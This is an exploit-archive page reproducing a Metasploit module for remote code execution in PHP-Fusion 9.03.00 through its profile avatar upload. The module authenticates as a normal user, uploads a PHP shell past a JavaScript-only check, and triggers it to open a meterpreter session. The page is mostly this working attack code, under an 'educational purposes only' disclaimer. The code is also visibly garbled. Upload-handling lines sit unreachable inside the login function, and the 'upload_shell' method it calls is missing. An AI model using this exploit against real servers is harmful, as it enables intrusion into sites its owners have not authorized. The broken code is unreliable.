Exploits / Vulnerability Discovered : 2019-05-14 |
Type : remote |
Platform : php
This exploit / vulnerability Phpfusion 9.03.00 edit profile remote code execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "PHP-Fusion < 9.03.00 - 'Edit Profile' Remote Code Execution",
'Description' => %q(
This module exploits command execution vulnerability in PHP-Fusion 9.03.00 and prior versions.
It is possible to execute commands in the system with ordinary user authority. No need admin privilage.
There is almost no control in the avatar upload section in the profile edit area.
Only a client-based control working with javascript. (Simple pre-check)
If we do not care about this control, the desired file can be sent to the server via Interception-Proxies.
The module opens the meterpreter session for you by bypassing the controls.
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module
],
'References' =>
[
['URL', 'http://www.pentest.com.tr/exploits/PHP-Fusion-9-03-00-Edit-Profile-Remote-Code-Execution.html'], # Details
['URL', 'https://www.php-fusion.co.uk'],
['URL', 'https://github.com/php-fusion/PHP-Fusion/commit/943432028b9e674433bb3f2a128b2477134110e6']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "May 11 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "Base PHP-Fusion directory path", '/']),
OptString.new('USERNAME', [true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [true, "Password to authenticate with", ''])
]
)
end
def exec
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "images","avatars", "#{@shell}") # shell url
})
end
##
# Login and cookie information gathering
##
def login(uname, pass, check)
# 1st request to get fusion_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "home.php")
})
cookie = res.get_cookies
location = res.redirection.to_s
if res && res.code == 302 && location.include?('login.php?error')
fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}")
else
return cookie
end
location = res.redirection.to_s
if res && res.code == 302 && location.include?('error')
fail_with(Failure::NoAccess, 'Error occurred during uploading!')
else
print_status("Trying to upload #{fname}")
return true
end
end
##
# Exploit controls and information
##
def exploit
cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
print_good("Authentication was successful with user: #{datastore['USERNAME']}")
if upload_shell(cookie, true)
print_good("Control was bypassed. Harmful file upload successfully!")
exec
end
end
##
# The end of the adventure (o_O) // AkkuS
##
end